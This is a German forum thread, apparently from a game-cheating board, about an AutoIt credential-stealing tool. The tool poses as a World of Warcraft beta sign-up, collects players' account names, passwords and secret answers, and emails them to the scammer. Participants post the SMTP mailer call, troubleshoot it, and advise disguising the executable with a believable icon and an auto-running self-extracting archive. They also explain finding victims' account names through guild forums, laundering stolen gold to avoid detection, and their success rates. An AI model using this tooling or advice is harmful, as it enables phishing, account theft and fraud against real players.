Accountscam mit Autoit Script und Fakemail.

[Aziris]

Originally Posted by run32.dll

Hallo Sordi

sag mal kommt der Name zufällig aus dem klassischem Adventure "Simon the Sorccerer"!? - dort heißt der böse Zauberer "Sordit" ^^

Habe ein kleines Problem mit dem script...
Ich habe mir 2 emailadressen angelegt zum testen, einmal bei "yahoo.de" und einmal "mail.com".

Dann habe ich den Code angepasst bei ...

 = _INetSmtpMailCom("smtp.mail.yahoo.de", , "<E-Mail hier>", "<E-Mail hier>", "WoWAccount", , "", "", "", "<Benutzername für E-Mail Account>", "<Password für E-Mail>", 25, 0)

zu:

 = _INetSmtpMailCom("smtp.mail.yahoo.de", , "", "", "WoWAccount", , "", "", "", "meinusername", "meinpw", 25, 0)

Dann habe ich das ganze compiliert (ohne Fehler), ausgeführt, testaccname+testpw eingegeben, geheimfrage eingegeben, dann erhalte ich diese Fehlermeldung:



Ich vermute mal das mit dem Mail versenden was nicht klappt oder?!
Habe die Mailadressen mit "<...>" und ohne probiert.
Welche der Adressen ist den der Absender und welche der Empfänger? Die erste im Code der Empfänger?

Ja das würde mich auch interessieren!

[Sordi]

Func _INetSmtpMailCom( s_SmtpServer, s_FromName, s_FromAddress, s_ToAddress, s_Subject = "", as_Body = "", s_AttachFiles = "", s_CcAddress = "", s_BccAddress = "", s_Username = "", s_Password = "",IPPort=25, ssl=0)

Das is die Funktion folglich is das erste der server dann AbsenderName dann Absender Adresse dann Empfänger Adresse.

Wenn 2 mal selbe mail drin schicks also von sich an sich selbst. Dann braucht man nur einen Mailaccount. Und denk an die Thanks wenn ihrs benutzt.

[Aziris]

Originally Posted by Sordi

Hab mich entschieden, nachdem ich nun einen schicken 70er Mage auf nem neuen Account hab mein Tool zu releasen, welches ich selbst geschrieben hab.

Es ist ein AutoIt script mit eingebautem Mailer.
Es zeig eine Loginähnliches Fenster um Account und Password einzugeben.

Danach werden Abfragen für Geheimfrage gezeigt.
Anschließend wird alles Per Mail ohne zusatzprogramme zu euch geschickt.

Den Hintergrund hab ich mal von ner anderen Scamseite geklaut weil er mir ein bissel besser gefallen hat als mein eigener. (Aber der war auch net schlecht)

Komplett soll das Script die anmeldung für WotLK Beta vorgaukeln.
Eine passende E-Mail solltet ihr natürlich auch verschicken.

Hier ein Screen:



Zum Fakemail mit Anhang verschicken benutz ich SendMail zu finden hier:



E-Mail müsst ihr noch anpassen.

Und hier die AutoIt-Datei inkl. Background Bild-Datei (Muss im selben Ordner sein.)


Und ne kleine Vorlage für die E-Mail:



An den Accountnamen und die Geheimfrage kommt man über Passwort vergessen auf der WoW-Seite.
Such am besten nach Gilden-Foren mit Memberliste die haben SEHR oft die selbe e-mail dort wie bei WoW-Account verwenden und Sehr oft is der Accountname entweder ähnlich wie die E-Mail oder wie der Charactername.

Und nun Viel Spass beim Scammen.
Evt gebt ihr mir ja nen Account ab, als Belehonung. ^^

ACHTUNG: ICH SEHE HIER HABEN MEHRERE LEUTE PROBLEME MIT EINEM ERROR: ICH HABE IHN ANGESCHRIEBEN UND IHN GEFRAGT FOLGENDE SACHE: IHR MÜSST DIE "<" ">" WEGLASSEN!!!! ALSO ZB:

 = _INetSmtpMailCom("smtp.mail.yahoo.de", , "", "", "WoWAccount", , "", "", "", "wowscamwotl", "elitepvpers.com", 25, 0)

[Noyze]

Hm Sordi? hättest du vielleicht Zeit und Lust mir das Privat zu erklären wie das genau geht? weil ich bin da nicht so ein erfahrener drinne eher so en noob >_<"
Aber wäre super wenn du mir ein paar Hilfestellungen geben könntest per icq oder so
Kannst du mir deine Icq nummer schicken per pm? brauche echt Hilfe sonst spring ich gleich aussem Fenster

[bizzebizze]

Can anyone get this working? I can't Can someone with pro english help me on MSN? add:
Thanks

[run32.dll]

Habs zum Laufen gebracht.

Ich weiß allerdings nicht woran es lag. Ich habe meinen Rechner neugestartet, das script noch mal neu entpackt und neu editiert. Seit dem gehts *.°

Habe noch eine Idee wie man das *etwas* realistischer machen kann:
Wenn der User seine Daten eigibt kann man die nach Blizzards Kriterien überprüfen und gegebenenfalls eine Fehlermeldung ausgeben.

Zum Beispiel: "Der eingegebene Accountname oder das Passwort ist ungültig."

Diese Bedingungen habe ich mal rausgesucht von der Blizz-seite:

Accountname Beschränkungen:
* Darf nur alphanumerische Zeichen wie A-Z, 0-9 enthalten.
* Muss zwischen drei und sechzehn Zeichen lang sein.

Passwortbeschränkungen:
* Darf nur alphanumerische Zeichen und Satzzeichen wie A-Z, 0-9 oder !"#$% enthalten.
* Muss zwischen acht und sechzehn Zeichen lang sein.
* Muss mindestens ein numerisches und ein alphabetisches Zeichen enthalten.
* Darf nicht mit dem Accountnamen übereinstimmen.

kanns leider nicht selbst reinscripten da ich nicht wüsste wie ^^

[Aziris]

 _INetSmtpMailCom("smtp.mail.yahoo.de", , "", "", "WoWAccount", , "", "", "", "wowscamwotl", "elitepvpers.com", 25, 0)

LEAVE AWAY THE "<" ">" !!!!!

[run32.dll]

Habe jetzt 40-50 Mails versendet. Mal gucken ob ein Fisch anbeißt

habe noch ein paar Tipps:
1. Beim Compilieren des Scripts kann man im Startmenü unter AutoIT "Compile Script to .exe" verwenden und der EXE ein glaubwürdiges Icon geben.
2. Zum Erstellen des Selbstentpackenden Archivs würde im Winace empfehlen. Damit läßt sich das Icon der EXE bestimmen. Man sollte WinACE aber registrieren damit beim entpacken nicht unregistred version in der Titelleiste steht. Nebenbei läßt sich hier einstellen das "WotLKBeta.exe" nach dem Entpacken automatisch ausgeführt wird.

Was ist eigentlich wenn ich jemanden plündere und das ganze Zeug an meinen Main schicke? Kann ein GM das zurückverfolgen? Besteht Gefahr für meinen Mainaccount?

[Sordi]

Originally Posted by run32.dll

Was ist eigentlich wenn ich jemanden plündere und das ganze Zeug an meinen Main schicke? Kann ein GM das zurückverfolgen? Besteht Gefahr für meinen Mainaccount?

Also da würd ich böse aufpassen.
Kann schlecht ausgehn wenn mans net wirklich geschickt macht.... besser auf nen Extra Account und net auf deinen Main Account. Z.B an nen anderen gescammten.
Und net das ganze Gold zu dir sonder immer nen Teil an wahllose Leute schicken einfach so random. Dann wissen die net zu 100% das der Account dem Scammer gehört!

[run32.dll]

Alter Schwede! 3 Accounts!! *whee*

[Sordi]

Kommt halt drauf an wie viele Mails du verschickst du an welche Leute xD


Hatte auch oft so ne Rate 1 Account per 20-30 Mails

[ushon]

Originally Posted by run32.dll

Habe jetzt 40-50 Mails versendet. Mal gucken ob ein Fisch anbeißt

habe noch ein paar Tipps:
1. Beim Compilieren des Scripts kann man im Startmenü unter AutoIT "Compile Script to .exe" verwenden und der EXE ein glaubwürdiges Icon geben.
2. Zum Erstellen des Selbstentpackenden Archivs würde im Winace empfehlen. Damit läßt sich das Icon der EXE bestimmen. Man sollte WinACE aber registrieren damit beim entpacken nicht unregistred version in der Titelleiste steht. Nebenbei läßt sich hier einstellen das "WotLKBeta.exe" nach dem Entpacken automatisch ausgeführt wird.

Was ist eigentlich wenn ich jemanden plündere und das ganze Zeug an meinen Main schicke? Kann ein GM das zurückverfolgen? Besteht Gefahr für meinen Mainaccount?

mach es nicht! wurde deswegen permbanned
gerüchten zufolge soll es etwas bringen, das zeug übers ah auf nen 2. acc zu verkaufen und dann nochma zu verkaufen. das zeug natürlich vorher in gold umwandeln und dann sinnlosgegenstände für immense summen kaufen/verkaufen. will dir aba keinen floh ins ohr gesetzt haben

[TripleRR]

Hmmmm giebt es da ne straff rechtliche verfolgung oder sowas ? !

[Sordi]

Originally Posted by TripleRR

Hmmmm giebt es da ne straff rechtliche verfolgung oder sowas ? !

Nich wirklich...erstens kannst du sogut wie garnet beweisen wer den Account gescammt hat. Zweitens wird kaum ein Gericht da nen Fall aufmachen wegen nen MMORPG Account wo das game mal 19 € gekost hat...

[Reckoning]

wtf?

brauch ich da outlook express oder so ?